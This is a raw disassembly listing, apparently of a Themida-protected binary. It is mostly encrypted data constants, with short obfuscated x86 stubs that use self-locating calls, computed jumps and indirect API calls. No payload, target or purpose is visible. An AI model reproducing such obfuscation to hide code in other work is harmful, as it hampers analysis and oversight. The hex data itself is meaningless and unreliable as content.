		dd 0BE934816h, 0B307h, 0AB5A5B00h, 685DFEB8h, 0CB1AB973h
		dd 67B6DD97h, 3776AB74h, 131ADEFh, 0ECDF2E55h, 1C2EBB32h
		dd 0EEAF5B62h, 0F7F448B7h, 538817C8h, 0EAF9CC99h, 2309130h
		dd 0BAF8837Ah, 5D1DD8FCh, 51FDE4B1h, 0DA25D62Dh, 11B8DFB7h
		dd 56ADEE9Eh, 0CB9797A9h, 0BD34E017h, 33601A30h, 0E0D690C2h
		dd 0E212B18Eh, 7019AFB2h, 2800000Ch, 0D5287D2Fh, 299CC983h
		dd 0E0CD8234h, 905D32E4h, 61D3803Ah, 2BC0E91h, 0AF69604Dh
		dd 9BB13E2h, 0C07A695Ch, 35C21193h, 1DDDAD22h, 5CE59533h
		dd 0FDB7AB06h, 44D67906h, 8F7F17C8h, 2C1F8EC3h,	93807B72h
		dd 0B4866457h, 7A287D1Eh, 8B621A48h, 0D845E2E0h, 1048951Dh
		dd 38830A56h, 11B84515h, 986A03BAh, 0BE93B812h,	0B803h
		dd 75C4700h, 0E3F7464Dh, 0C89C4E88h, 0A0528CF9h, 0B387D4FFh
		dd 0C917C849h, 42B3E09Ah, 0D5385711h, 49480669h, 0C0EF2415h
		dd 76D01D94h, 0DB289BC4h, 1DD7861Dh, 54550AFAh,	0DC2796EEh
		dd 17CA1DBDh, 6615EC98h, 0B60BBD17h, 39E5EC9Eh,	833D8D78h
		dd 2130BB2Ch, 340BA4B4h, 6F3E2748h, 0CF4BA15Bh,	0F3E21424h
		dd 0B99D870h, 0FE510000h, 0B2A6174Ch, 35AABF8h,	9BB10451h
		dd 1949BCE9h, 7242325Fh, 0B4E19BAFh, 9561041h, 0A3F0A2BCh
		dd 1A470152h, 9DBC479Ah, 0B81DDDADh, 65C6A1Eh, 0B5A6174Ch
		dd 0DE3A41ECh, 0CA965B7Eh, 2AD52695h, 17C90107h, 8E35E7DFh
		dd 0C99282E0h, 0AE3D5AA1h, 1878F77Ah, 40ABCE39h, 0FAAA17C9h
		dd 0CB0005A6h, 0FD53A211h, 240CDB34h, 0A7FBCB53h, 4B80CD06h
		dd 79D32291h, 59783226h, 0EDB8F9ADh, 6F3E46ECh,	0D6014994h
		dd 20411925h, 733A58A3h, 711D1DD9h, 116E0552h, 0F26111B9h
		dd 0D9ED7C37h, 0F65C8627h, 0E7BE92EBh, 7, 817133Bh, 48970000h
		dd 0E08B621Ah, 1DD8561Ah, 53A221CDh, 8774600h, 0B833DC7Bh
		dd 0E48D7911h, 651F3481h, 57A4115Eh, 3A8E78FCh,	6135E7DFh
		dd 65C01362h, 0E6EDB973h, 0DFF7B231h, 917691E2h, 0E1E06E4Fh
		dd 0A540630Ch, 7421DBF0h, 0F9985281h, 738288AEh, 0C1BE3DAAh
		dd 359E06Ah, 0C1843251h, 416AFD1Ah, 0FD4E07A2h,	0AC9F0E43h
		dd 0FF6CFBF2h, 0AA736670h, 0CAA86276h, 0B10291DAh, 0DB3C42D6h
		dd 0BDDE2C76h, 743E204Ah, 0E8A2B8AAh, 8F419CE9h, 670271F0h
		dd 54A3FC4Fh, 743D88A7h, 8021CDAAh, 0C81BCA63h,	5F74410Eh
		dd 3CE27502h, 8373AA74h, 3C91E0CFh, 0ED48038Ah,	6D9A3232h
		dd 7E15560Ah, 604F371Bh, 8463E913h, 774636B0h, 12DC7B08h
		dd 8D79A464h, 0B61F81E4h, 509FE74Bh, 743675A3h,	8CC431AAh
		dd 5AAB89D2h, 46FE5204h, 64CFCB7Bh, 579E57Ch, 176F41AEh
		dd 0BC68C653h, 0F68EB415h, 8A637C07h, 0EFEC046h, 4701529Fh
		dd 0FEB8AB1Ah, 995A52A8h, 851B9E39h, 9D3h, 0EDA2548Bh
		dd 410EC800h, 0FAA75974h, 721FD10Bh, 0C0954F83h, 0D101846Ch
		dd 667B4A17h, 0D006F7ACh, 4F84711Eh, 8DDCC095h,	0DDAF4FE2h
		dd 0C068061Dh, 0FEB8AB5Ah, 3B8AD37Fh, 0C17BCD28h, 0A55F73C2h
		dd 0B747A5F1h, 3D5F093h, 985E880h, 0A3D0000h, 0A6BA0B58h
		dd 0F46B7ECh, 9FB5085Dh, 1545B8EDh, 4E36065Bh, 88DD97CBh
		dd 356A2435h, 87DC8EC8h, 366B2536h, 0B9D823B6h,	9C1DDDAFh
		dd 75C5642h, 0E3F7464Dh, 0F8877C29h, 0C844EC8Bh, 0F4BD6917h
		dd 62CD5FCh, 96C42F7Eh,	101DD868h, 86D2A45Fh, 0C45FA86Bh
		dd 0B8105EF1h, 56F98611h, 0FF11B810h, 3C65110Fh, 0B10C4C38h
		dd 0D375695Fh, 0BE3549F5h, 0ABF5F31h, 358C7856h, 0B35FA5Ah
		dd 0DC85A729h, 70AB68B7h, 2E7F0D0Ah, 92C802C8h,	879127AFh
		dd 7C67CBE6h, 0EACB60EFh, 5D09F549h, 9C31766h, 3093DC8Ah
		dd 0B4C330BFh, 0A149EACAh, 0C25BACF5h, 9F4FFE50h, 46F00EFh
		dd 43D74675h, 986B34E0h, 1340FAE9h, 49FB51A0h, 0F4AE9D28h
		dd 0E19298F6h, 27BDBCA9h, 8ABh,	0E5BA6C63h, 5906C018h
		dd 92BF716Ch, 2A772923h, 98CD87DBh, 959DCA4h, 9EB3024Fh
		dd 83EAFE4h, 0A7BC0956h, 0A534B8EDh, 0DDB0375Ah, 0D8C01E1Dh
		dd 464D075Ch, 782DDFF7h, 0C8454887h, 0A0E44A17h, 0A9B8A651h
		dd 37E71DDDh, 702A39C8h, 0C781D223h, 0AF6979C8h, 3544AF40h
		dd 2011B2DDh, 0A92B2C65h, 0EFA3D013h, 7ED825AEh, 8EAAEECCh
		dd 6BEEDC06h, 836D5h, 27D9EE00h, 9B558B7Ah, 2CDEF7C6h
		dd 9C4E8677h, 2AE4F6C7h, 7C3F0775h, 6F7AC66h, 794C19D3h
		dd 0FDEB365h, 4F4D02BCh, 0B0E06FFCh, 0DB751DDDh, 0AA075C2Fh
		dd 0C8453A5Dh, 376B1B17h, 0BF1A4998h, 79BDC089h, 167DB602h
		dd 0CB97434Ah, 8A5385F4h, 7B1FE25Eh, 16570BB4h,	0EB86157Dh
		dd 226F293Ah, 83902AB0h, 46B142B8h, 17C86933h, 0EAE99BB3h
		dd 2546363Ch, 4EC77h, 1A48CB00h, 0EBDE8B62h, 0FE49231h
		dd 655EFFB9h, 771A6516h, 0DE17C845h, 1C9A6D2Eh,	831DDDABh
		dd 1ECB1C93h, 0D0357628h, 15F2C17Bh, 55A5F118h,	0F5B0F1ECh
		dd 8E3543F4h, 2E41AE3Dh, 2711B2B6h, 9D13677h, 648B1F22h
		dd 0F85E34EDh, 0E93805AFh, 5Fh,	5EA95A41h, 17C8453Bh, 1D3CC71Ah
		dd 3817C845h, 0B6AB184Ch, 1D3EB3FCh, 48E7946Bh,	9C17C845h
		dd 4491A04Bh, 3FE717C8h, 0F021402Eh, 0AEEF9F85h, 6CB7D6C6h
		dd 3830930Dh, 1546B34Ah, 0D891125Bh, 0EA2994FAh, 1585D8h
		dd 5ADD0000h, 0D6FDB7ABh, 7AFE6D28h, 7DC19907h,	1E28834h
		dd 48200000h, 11626117h, 0EAB36D64h, 34B1C51Dh,	8039A891h
		dd 0F0243CA2h, 292D31h,	48750000h, 11626117h, 45821562h
		dd 14D317C8h, 0A71C3483h, 5A034FB3h, 34D8F66Dh,	0EF8A3991h
		dd 0EFF78D13h, 6C7C31h,	48C40000h, 0E5926117h, 17C84552h
		dd 0D5B00403h, 0EFF7670Dh, 0D324D3A3h, 0FF7E3026h, 67D16053h
		dd 0F58417C8h, 0C867E78Ah, 0D27E6E17h, 0FB45CE89h, 28FAB328h
		dd 0B88353C2h, 31B3h, 0E7335000h, 0F2930EBh, 4896D49Dh
		dd 0E5926117h, 17C84554h, 329E1905h, 2FCA7989h,	83B3CD53h
		dd 0CBCB8h, 13040000h, 138h, 975181F0h,	0E31394D6h, 97000000h
		dd 52521748h, 0AE2AE348h, 0A6586D42h, 0D8277B27h, 0B6BDDC27h
		dd 0EC9817C8h, 0C4BF10C3h, 756528BEh, 2B6614BBh, 9EBFCE37h
		dd 189A5D29h, 0B9286Dh,	0D3E4BC22h, 3125D40Dh, 5B52007Fh
		dd 780C8110h, 8728D4C2h, 6855h,	5F770600h
		dd 48A604ADh, 0E5926117h, 17C84552h, 1F6C1303h,	37E8722Ch
		dd 0E1B16CE3h, 0D8A3E47Bh, 35EFE491h, 2F706Ch, 48B80000h
		dd 1E31BE17h, 3717C845h, 57A41B47h, 17C84538h, 552711Dh
		dd 84E8728Eh, 3B17D281h, 25A3E0D5h, 18C4h, 0CD087500h
		dd 0A5C6741Bh, 5EA95AC5h, 17C8453Bh, 7B416A1Ah,	7Ch, 0B6AB5A0Fh
		dd 448BAE59h, 0DACA17C8h, 0EBE0E586h, 0B4419231h, 2FE7D49Dh
		dd 80982CF0h, 1A3C8BD4h, 8F17C889h, 0EBE09550h,	1B33C231h
		dd 0F3BC6A69h, 0A95AE8B2h, 644F015Ch, 17C844D5h, 271F9480h
		dd 94C52C75h, 0B95F01E4h, 9A39F3E6h, 6261134Bh,	73831EB5h
		dd 7621BC6Bh, 17C8521Dh, 0E50550CFh, 0B6EA8E42h, 849EC126h
		dd 372CD9B8h, 7A8567Dh,	0FFFEDBD5h, 5A132DFFh, 97000002h
		dd 0B5AC075Ch, 7A26D4FBh, 1BD50653h, 87FF6346h,	0E7765B38h
		dd 0D8C99CFh, 0E145F64h, 591DD8C3h, 0B2D926ADh,	1D11B897h
		dd 0B1370BA6h, 0A0BE9360h, 41h,	621A48E8h, 8FDC8Bh, 5517C845h
		dd 6CFB08A9h, 5516C8FDh, 0D8457072h, 6376071Dh,	43D67906h
		dd 8F7F11B8h, 420EBCC3h, 15C7FE6Bh, 59FC474Ch, 7611B844h
		dd 0CE542EC7h, 0BFBE93B8h, 0D2h, 4D075C03h, 4D88F546h
		dd 2546F49Bh, 0D1F0AAA0h, 75928582h, 0AA15026Bh, 15CF0401h
		dd 9D3BE19Eh, 0AAB0423Ch, 5083D201h, 8BFAC996h,	0F5D29B55h
		dd 17C8762Dh, 0D42FC4Fh, 0FDEA68Ch, 0DD78A360h,	0C7E47F05h
		dd 0C8655DFCh, 630CF817h, 1B021360h, 8FDE1DDBh,	55DF803Ah
		dd 5EA95AA9h, 11B5B03Bh, 0DF99C91Ah, 6C19EAB3h,	16E7BC76h
		dd 6EAC0AC4h, 0BADC0329h, 43D21B7h, 0E2F50000h,	3E926330h
		dd 0E7DECF84h, 378D6035h, 0EDDDD085h, 260E5E33h, 0E0B56F63h
		dd 4D02BC0Dh, 0DFB46660h, 4E03BD0Eh, 0E170FB4Eh, 741DDDB4h
		dd 0AB5A2EDAh, 0BD67EDB6h, 0CADABAE0h, 84BF796h, 0E1C00D7Fh
		dd 0A91C4505h, 6352FFB9h, 0BA47B670h, 83D2F1A3h, 0A2CB9749h
		dd 3D5A97C3h, 634530F8h, 0B503BCE2h, 0B5AE35Ch,	9CAF1657h
		dd 3D8EDBE2h, 67CBCE83h, 7923D01Fh, 0A61DD8F4h,	0E30762E7h
		dd 0CC98180Ch, 0F74C88F5h, 0B847ED8Ch, 0E8BC6811h, 5F743DE9h
		dd 0B8488314h, 1CD54411h, 0CD86E955h, 169F4AECh, 9D4CA3EFh
		dd 4F0155A8h, 6B594003h, 2B9F839Eh, 83F28182h, 362C994Bh
		dd 8A9557Ch, 0C8B0D5FFh, 0ABBED917h, 0DEF0F492h, 7521135Ch
		dd 0F195B920h, 0A6607302h, 371FE05h, 9C11BDF0h,	0A6A0FB4Fh
		dd 0FF53A0F4h, 0C4903E45h, 934580EDh, 2464F1BEh, 388E0593h
		dd 3AA3D986h, 0E7000000h, 0C845375Eh, 37AC9317h, 0B6646B1Dh
		dd 0D48B5EAh, 48E7345Bh, 4017C845h, 0E6DF964Fh,	388E5F34h
		dd 94CA3786h, 0CD1AB9E2h, 17C844A7h, 0D98C25BCh, 2D7ED385h
		dd 8FD08AC0h, 50025CDBh, 38EAE431h, 0F7B23199h,	6756083Eh
		dd 6B12C41Ah, 0F483F0BFh, 6117C844h, 4AB9ECB5h,	0C3ECA6BBh
		dd 0C8582D44h, 0CD524A17h, 0BEB883C6h, 0FFFFFF94h, 4D075C02h
		dd 2AE4F746h, 0B6CE7475h, 0E3BE4C47h, 5D19F907h, 0B140AF14h
		dd 46C1EA9Ch, 1DD926BCh, 0E193CB3Ah, 0C9C8B4C0h, 0B8FBD77Eh
		dd 1C69F811h, 0C36F0EC0h, 9270099Ah, 0BE92FD0Ch, 46FDh
		dd 0AB5A4500h, 7A05FCB6h, 17C844D7h, 0E4CD8E7Eh, 48B7067Eh
		dd 0FB4EA9B9h, 7B4C1541h, 1DD8456Dh, 56A31A0Ah,	9D494802h
		dd 0FF70BFD4h, 0B843E574h, 0DB847011h, 0B84449ECh, 1ED78611h
		dd 93B8DE44h, 0C7CFBEh,	5C130000h, 0F5464D07h, 552601Ah
		dd 7738C9ACh, 0FB823C8Eh, 0DCE39DAEh, 0CF843E8Dh, 0C9261CE0h
		dd 620D5E17h, 17C91BCFh, 55BB9686h, 0C049B2CAh,	0C211F4BDh
		dd 6D1A6F67h, 17C849CAh, 0C8C79B8Bh, 0AC19461Ah, 73D6FDB7h
		dd 0BB48B7CFh, 1DD85CC5h, 7C5D32E2h, 0B43FAED6h, 17CAEE1Dh
		dd 2016D28h, 0E15D759Eh, 9BAF3EB5h, 1141B4E1h, 544D6157h
		dd 0FA79E213h, 1D662h, 87398E00h, 3BF5EBDAh, 8C3E9766h
		dd 3CEEE6D7h, 8A449667h, 1C9F67D5h, 66570CC6h, 19ECB973h
		dd 6F3E13C5h, 0EFEDA25Ch, 0B7800F5Ch, 7BD51DDDh, 4C065C8Fh
		dd 0FBB5A617h, 55A655A6h, 0C84487AAh, 0D31ECE17h, 17C843C4h
		dd 57094491h, 95D68A38h, 621A48D5h, 3D8DDC8Bh, 0DBEDDA83h
		dd 9C1DD845h, 3C43F54Fh, 70BBC28Eh, 11B844DDh, 0F1A23BF2h
		dd 0C9924C84h, 93B753D9h, 0C942BEh, 24DF0000h, 9BB3DDB8h
		dd 593CEAE9h, 0B0A190D2h, 772BD7F6h, 505CFB88h,	0DF911B8h
		dd 75C0664h, 1699764Dh,	0C9681372h, 8C17C8F1h, 3A62A5E0h
		dd 0E332610Ah, 418E35EFh, 17C877F9h, 0C9965083h, 568CE7FCh
		dd 733AF59Ch, 0CE15D434h, 12B1E5B1h, 4FB83AFh, 6E690873h
		dd 0EC17C8h, 0C8E99BB3h, 80CAB03Bh, 31DD1DD8h, 0CD17D64h
		dd 0C7731AD4h, 0D1D7249Bh, 0B617CB0Eh, 588AF7C6h, 7302F19Eh
		dd 0FE07A85Ah, 829412CCh, 0C6E21334h, 0C92DC3h,	4E810000h
		dd 0E2F6C79Ch, 538A7B28h, 0CB01F4A1h, 69794C19h, 0A292E2AFh
		dd 6431EBDFh, 0D9864091h, 1340F2ECh, 0AAF7B1A2h, 2D4CB74Ah
		dd 281DDDB8h, 65CDACEh,	0B5A6174Ch, 5CFCA6FBh, 7764D07h
		dd 3D5617D1h, 7421DBF0h, 0C01CC16Dh, 0FBADA10Eh, 837A26D4h
		dd 8F2EE0F6h, 0BE49BAE3h, 1DDDAABCh, 0EC81B6Ah,	9A9AC36Fh
		dd 7794E3EAh, 9E900BCFh, 51E08B27h, 411B340h, 0A2234C18h
		dd 5BAAF7B1h, 3140AB08h, 2411B340h, 5AA52C78h, 4CB68B25h
		dd 7BCF1E6Dh, 5F73C2C1h, 24701EA5h, 16CD687Bh, 0F8B97367h
		dd 4F04BE0Dh, 0CB36D5Eh, 0AED587BDh, 1ED79201h,	0CF1E732Dh
		dd 7B2D217Ch, 3929D827h, 1FB5DE7Fh, 3, 5CBFEB63h, 0E3325103h
		dd 4A9736F0h, 0E5B6214h, 338201BBh, 0F5E651Fh, 338201BBh
		dd 19686719h, 1E6B12C4h, 9451702Ah, 81E68956h, 4C6h, 4EE8300h
		dd 5C243487h, 53243C89h, 0C381E389h, 4,	8704EB83h, 895C241Ch
		dd 8952241Ch, 4C281E2h,	81000000h, 4EAh, 24148700h, 2434895Ch
		dd 1E5ABE56h, 0A0BB6A57h, 19BBE48h, 24348BF3h, 4C481h
		dd 8B540000h, 0C4812434h, 4, 9D968h, 241C8900h,	0FF08468Fh
		dd 815E2434h, 4C4h, 2434FF00h, 4C4815Bh, 0E9000000h, 0FFFBD5A4h
		dd 0C1364C97h, 1574C9B8h, 0FFC50306h, 0C70974E0h, 9230255Ah
		dd 0D2149C03h, 2DB03D0Dh, 8BED3D67h, 9384541Eh,	55F4416Ch
		dd 0EF732F1Ch, 0C0D6B10h, 81FA6007h, 0CD431A71h, 0EF0F4805h
		dd 0CB091848h, 0DA048524h, 8E75DD37h, 0EF1AAA4Ah, 134BBC02h
		dd 0F1C12C46h, 614C7149h, 512DC155h, 9BAF737Ah,	9C13A16Dh
		dd 0DCD5A938h, 364EDA01h, 0A31A9D2Bh, 9D50A018h, 271E072Bh
		dd 0B0EE0048h, 0F03A0352h, 2AE976h, 0F2560000h,	57F0h
		dd 9 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5A2F9F
; ---------------------------------------------------------------------------
		db 34h,	92h, 4Fh
		dd 6DA45CDBh, 8AC36AF1h, 67A447CEh, 81C064F3h, 31A3DFCDh
		dd 0D8C407Fh, 189F1B5Ch, 0F4833772h, 0A7A2164Bh, 96CD6D5h
		dd 2B886BD9h, 447932A1h, 0ED55542Ah, 96DCC7Ch, 374E502Dh
		dd 0C6B34D95h, 0EB1675ACh, 1BC45307h, 0E49B3AE6h, 0F3967014h
		dd 74178EB2h, 0BE74B37h, 0A61C0FF1h, 3E6DCCF5h,	271905E2h
		dd 9BB0F194h, 0ED966820h, 8C68CCB8h, 259D8C72h,	0C16DCCF5h
		dd 0E3968865h, 43FC25BCh, 671B9A0Eh, 0F5CF7336h, 4B276DCCh
		dd 8F7FC81Eh, 0D5F1C773h, 0F12CE259h, 7687EEDFh, 140048D0h
		dd 0A1B6F195h, 17D08BE5h, 9B4E05E2h, 423CA65Ah,	15D56D1Ch
		dd 1C0F6DCCh, 6DCC15A6h, 2E2AE23Eh, 0C196D577h,	2CE243E2h
		dd 0A01DFF1h, 6DCC15B8h, 73EB005Ch, 35F86489h, 0EBD77563h
		dd 609E450Eh, 35EC4ED9h, 796FCFFCh, 0AA1813EDh,	4A6DCCCFh
		dd 57FEF2CEh, 6DCCCFEEh, 0F6F39231h, 336A831Bh,	46FBh
		dd 79325100h, 0BB095044h, 846DCC7Ch, 0A71B0EF0h, 3F6DCC7Ch
		dd 9E3506E3h, 6B35925Bh, 17233h, 32D80000h, 0DD4F437Ah
		dd 0B86CA95Eh, 6C149FBCh, 0A54A4135h, 0A201BC68h, 986A2203h
		dd 68CCB8F1h, 0A249D08Ch, 0D75BF16Dh, 70245D04h, 4B95C7F4h
		dd 8673DECAh, 0FE46EA71h, 36F61D5Dh, 564A26F6h,	0F83DE7E4h
		dd 0BA9FDA90h, 5126A13Eh, 0F7ABE28Ah, 686201A2h, 0B82F9396h
		dd 6BC76DCCh, 0E423C58Eh, 53AF168h, 9AD37A11h, 6F06BDE6h
		dd 6A70578Ah, 683733h, 92490000h, 0FDC7A4D9h, 0B94996D7h
		dd 0A882C012h, 256408D3h, 85DB224Bh, 1D0944EAh,	11223419h
		dd 56753146h, 9F5B6DAFh, 0F4427004h, 0B5254C7h,	0CEF2A86Ah
		dd 99388722h, 0F9B5F498h, 0E38FCE82h, 0E023FE4h, 52972E45h
		dd 336B098Fh, 306Fh, 7E32DD00h,	8E34533Fh, 734C9F53h, 7EB355DCh
		dd 0CC7C378Bh, 6F53CF6Dh, 7A322DBBh, 0BF084F43h, 806DCC7Ch
		dd 6C45A03Fh, 4C336B35h, 1, 427B32BEh, 0C5FAB128h, 867855D1h
		dd 6F23580Fh, 0EE37CE65h, 0FFECFE37h, 6C22DF3Dh, 0B70BFE49h
		dd 4F6DCCD7h, 64DAEFD3h, 9E3F8FFh, 0FCADF922h, 96956B67h
		dd 943CDD2Ch, 8B8F6CC8h, 5F134EF4h, 3933DF03h, 0E38FCE82h
		dd 3AF16A7Fh, 19D24905h, 0DB6930E4h, 98943CDDh,	53EF9AC4h
		dd 0B3943CDDh, 6201A2B7h, 73E71CC3h, 0F4063BE4h, 0FEB359F7h
		dd 2DDC8492h, 943CC295h, 0FCD1F571h, 623B300Ah,	111DF1A8h
		dd 2A93247h, 0DF84D9CDh, 0F52AE140h, 0FA2B8639h, 480B397Ah
		dd 81000001h, 4C1EBD5Ch, 0FC266C5Dh, 0F29E7A67h, 43F72CD3h
		dd 2AD60BB4h, 0D3BFF4ABh, 8C4EE576h, 0ADF18CDh,	0E9659A51h
		dd 629F4417h, 0AA21A188h, 69C59423h, 60428B94h,	5222397Bh
		dd 68000000h, 235E04D7h, 0D0C4FDA4h, 0D3E67754h, 0AF33F608h
		dd 47EDCC7Ch, 0D27037EBh, 0FBEDCC7Ch, 528B42F9h, 500FA675h
		dd 4D3C0ECDh, 6DCC7CD5h, 0E7B975F1h, 7D91D6E6h,	3D812AD6h
		dd 0F8131E81h, 0ED5C7155h, 0C7h, 66A34813h, 0C5A29281h
		dd 4E2B6F39h, 1EBD5C76h, 0A7324Ch, 94F5AECBh, 7267FC0Ch
		dd 0B96DA65Bh, 93ED99BDh, 70E722C8h, 919581B8h,	1348FFBCh
		dd 32672097h, 1AEAA118h, 691D3974h, 0E91D6E04h,	4A26773Ah
		dd 3CFF712Dh, 0E4564A87h, 23CC9D25h, 0D9FD7994h, 0CDBC0704h
		dd 0CB39423h, 0BEF3AC75h, 0BD1EB50Ah, 5E8DE8A3h, 6A639E16h
		dd 48FFA0C2h, 9AF42613h, 0D512B574h, 72284521h,	0D48B0AF6h
		dd 52E1F39Fh, 5E7D9CB3h, 4418CD8Ch, 0B5B1659Ch,	6C81E591h
		dd 0AF816A94h, 9C6AB082h, 0DFDE7DEDh, 0B496A3FAh, 7BDFC374h
		dd 0F00DE919h, 23955833h, 10EE1094h, 892A919h, 2AD14D80h
		dd 80089298h, 0D7CBA07Ch, 0D749DF5Bh, 6F235E04h, 7087D6F3h
		dd 26CA916Bh, 10EE12E7h, 4DF20EDBh, 6277B7E5h, 0F9FACEA9h
		dd 0C9A5A667h, 15F692E9h, 32A9596Eh, 0D155417Ch, 0E18A01F5h
		dd 2A930ACh, 1E427B32h,	8A42372h, 0F2972AC3h, 792D681Eh
		dd 0AE2DD9FDh, 2C6D20FAh, 2ECD5C48h, 2D962997h,	0A3D88F96h
		dd 0C2F7B027h, 0D714B7CEh, 6B0AB92Bh, 70EC21CAh, 141742E9h
		dd 0C5C978AEh, 0E591CA7Fh, 0B1959181h, 0AD4C5h,	5DDC0000h
		dd 0BDB96DAAh, 6D5F04A0h, 493D8032h, 0B0649952h, 463A7519h
		dd 0A95D9E4Fh, 533F7E32h, 0A5519034h, 50448126h, 0A75B9439h
		dd 55417830h, 0E68956CFh, 4C681h, 0EE830000h, 24348704h
		dd 2434895Ch, 7BB68h, 24348900h, 81E68956h, 4C6h, 4EE8100h
		dd 87000000h, 895C2434h, 6852240Ch, 100F7351h, 0FFEA815Ah
		dd 81FFFFFFh, 806A29C2h, 83C2812Fh, 89C68598h, 8B545AD6h
		dd 0C483240Ch, 8BA5204h, 81000000h, 8067D5C2h, 81CA0167h
		dd 8067D5EAh, 5A328967h, 592434FFh, 4C481h, 34FF0000h
		dd 0C4815E24h, 4, 0FB053FE9h, 0F600F4FFh
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		mov	dl, 0C6h


loc_5A2F9F:				; CODE XREF: Themida_:005A2A64j
		mov	eax, 6157AAAh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 8FBF45h, 783C2DC5h, 4095E981h, 1E4CBD7h, 30E086D8h
		dd 72FA25E4h, 60A04F2Ah, 1A9999EEh, 12613B78h, 3288BF1Eh
		dd 24513CEFh, 1BD59234h, 1E5B92C7h, 310C95BBh, 171F119Bh
		dd 61433913h, 10150C9Eh, 2303566h, 3BCDEA41h, 0D4795C9h
		dd 54C85AAEh, 25B045C6h, 5917FB4h, 75656ABFh, 5B78AABCh
		dd 6D177E93h, 1158EDFFh, 2021EB3Dh, 30F8BE6Eh, 714B589Bh
		dd 2804AE84h, 6513E5A0h, 7C988D8Dh, 9E80615h
		db 3 dup(0)
byte_5A3033	db 44h			; DATA XREF: Themida_:0054B510o
		dd 30C064A0h, 0F2C464D4h, 21799589h, 895B0610h,	1009F58Dh
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 83995E55h, 0D275D543h, 0A59D09h,	0B5890610h
		dd 6101FB1h, 231985C7h,	5C600610h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 144334C3h
		dd 29F122C4h, 0F186079h, 85C7D0B7h, 61022C1h, 0
; ---------------------------------------------------------------------------
		mov	[ebp+6101599h],	edi
		push	dword ptr [ebp+61011EDh]
		push	0
		push	ebx
		call	sub_5A30CB
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A30CB	proc near		; CODE XREF: Themida_:005A30C3p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5A30CB	endp

; ---------------------------------------------------------------------------
		pop	ss
		pop	ebx
		setalc
		xchg	eax, ecx
		fmul	dword ptr [esi+3Ch]
		and	[edx-8], edx
		call	dword ptr [ebp+6102DB9h]
		js	loc_5A30FC
		jmp	loc_5A30FC
; ---------------------------------------------------------------------------
		dw 2F8Dh
		dd 12AA1367h
; ---------------------------------------------------------------------------


loc_5A30FC:				; CODE XREF: Themida_:005A30EBj
					; Themida_:005A30F1j
		push	0
		call	dword ptr [ebp+61031C9h]
		mov	eax, eax
		jmp	short loc_5A3170
; ---------------------------------------------------------------------------
		dd 92983D99h, 8EA4E512h, 0A5B5B76Fh, 54F50C65h,	5C6842D9h
		dd 1686C80Fh, 1C744598h, 26E73533h, 2FCC9421h, 0A95FD18Ch
		dd 40A13838h, 0F9A80405h, 2AD04842h, 1865A9C2h,	4CBCCAF8h
		dd 7B9F2425h, 28E81EAh,	48334170h, 0C358753Bh, 0CF70F089h
		dd 5B9550E2h, 8FE8A2DCh, 2D71B35h, 0FD53499Fh, 8962C745h
		dd 0CD1A7F11h
; ---------------------------------------------------------------------------


loc_5A3170:				; CODE XREF: Themida_:005A3106j
		lea	ebx, [ebp+6102335h]
		mov	eax, 2Ah
		mov	[ebp+6102799h],	eax
		call	$+5
		pop	eax
		add	eax, 0Dh
		mov	[ebx], eax
		jmp	loc_5A31BD
; ---------------------------------------------------------------------------
byte_5A3193	db 0			; DATA XREF: Themida_:0054D7A0o
		dd 9 dup(77E600h), 0FF77E600h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A31BD:				; CODE XREF: Themida_:005A318Ej
		jmp	short loc_5A321F
; ---------------------------------------------------------------------------
		align 10h
		dd 17h dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5A321F:				; CODE XREF: Themida_:loc_5A31BDj
		jmp	loc_5A3E46
; ---------------------------------------------------------------------------
		jmp	loc_5A3E3F
; ---------------------------------------------------------------------------
		push	61585E2h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	615875Eh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	61587E3h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		db 56h
		dd 3EBD71B4h, 5CDB4F86h, 69F06CA5h, 46D589C6h, 1E763A2h
		dd 76B55785h, 519233C2h, 6DA85EDDh, 8CC16AF1h, 28E3DDD0h
		dd 6BD9019Ah, 32971D7Ah, 0E1523E7Fh, 5C954C0Fh,	0D011B47Fh
		dd 0DD5C825Ch, 2105F126h, 0CC7CC87Ah, 1B302C6Dh, 0BEB2E7A0h
		dd 16E823C7h, 23B638D5h, 5D7AE7E2h, 590CCFA1h, 2FDB6722h
		dd 0DF3B6DCCh, 36130F03h, 0C695CC7Dh, 332FE322h, 0CC2FFE44h
		dd 361A166Dh, 1B0EF04Ah, 6DCC2FA7h, 4D06E33Fh, 31A85C9Bh
		dd 0DA54407Fh, 8470AB5Fh, 5B10CBA0h, 0AE53721Eh, 0F468676Ch
		dd 361A3246h, 0B4F39524h, 38F0E797h, 19A01501h,	0ED01A8C2h
		dd 0D767F994h, 2F1B2896h, 8B604D00h, 9FC19B97h,	4F2C651Ch
		dd 29A5DC84h, 5F053FDCh, 0DCF87C28h, 12A70702h,	35F9426h
		dd 2DFD04E9h, 9A04C25Ah, 21CAC1BDh, 32DA70ECh, 0FD764479h
		dd 1BC05CCFh, 5E04D78Dh, 0D6F36F23h, 2BF6CA60h,	0B366B22h
		dd 2Bh,	1BC05C81h, 97D67A41h, 0D4D7EAC2h, 6DCC7C6Eh, 0D71CAA86h
		dd 3E7F32A9h, 0FDA9E287h, 32C86479h, 4275437Ah,	31408Ah
		dd 0D78C0000h, 7C4002A9h, 0C8A46DCCh, 15C652B3h, 6ED4D787h
		dd 0A46DCC7Ch, 0F5D7EAB0h, 4002A9D7h, 6F6DCC7Ch, 9AD3B78Ch
		dd 4ECAC247h, 0D30AC279h, 5C8A4245h, 5D4C1EBDh,	67FC1FC4h
		dd 777486E2h, 34EEF469h, 671734D1h, 23968640h, 0F50B6594h
		dd 23968C36h, 0EF0C6894h, 0DD30B54Ch, 0BD397B4Bh, 1ECh
